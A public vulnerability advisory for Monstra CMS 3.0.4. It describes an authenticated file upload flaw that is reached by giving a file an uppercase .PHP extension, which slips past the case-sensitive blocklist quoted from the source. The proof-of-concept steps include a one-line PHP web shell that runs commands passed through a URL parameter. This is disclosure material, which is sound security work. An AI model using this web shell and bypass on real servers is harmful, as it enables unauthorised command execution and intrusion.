Monstra CMS 3.0.4 Remote Shell Upload
Posted on 17 December 2017
Exploit Title: Monstra CMS - 3.0.4 RCE Vendor Homepage: http://monstra.org/ Software Link: https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip Discovered by: Ishaq Mohammed Contact: https://twitter.com/security_prince Website: https://about.me/security-prince Category: webapps Platform: PHP Advisory Link: https://blogs.securiteam.com/index.php/archives/3559 Description: MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a remote command execution on the remote server. Vulnerable Code: https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php line 19: public static function main() { // Array of forbidden types $forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht', 'php', 'phtml', 'php3', 'php4', 'php5', 'phps', 'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd', 'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty'); Proof of Concept Steps to Reproduce: 1. Login with a valid credentials of an Editor 2. Select Files option from the Dropdown menu of Content 3. Upload a file with PHP (uppercase)extension containing the below code: <?php $cmd=$_GET['cmd']; system($cmd); ?> 4. Click on Upload 5. Once the file is uploaded Click on the uploaded file and add ?cmd= to the URL followed by a system command such as whoami,time,date etc. Recommended Patch: We were not able to get the vendor to respond in any way, the software appears to have been left abandoned without support a though this is not an official status on their site (last official patch was released on 2012-11-29), the github appears a bit more active (last commit from 2 years ago). The patch that addresses this bug is available here: https://github.com/monstra-cms/monstra/issues/426 -- Best Regards, Ishaq Mohammed https://about.me/security-prince
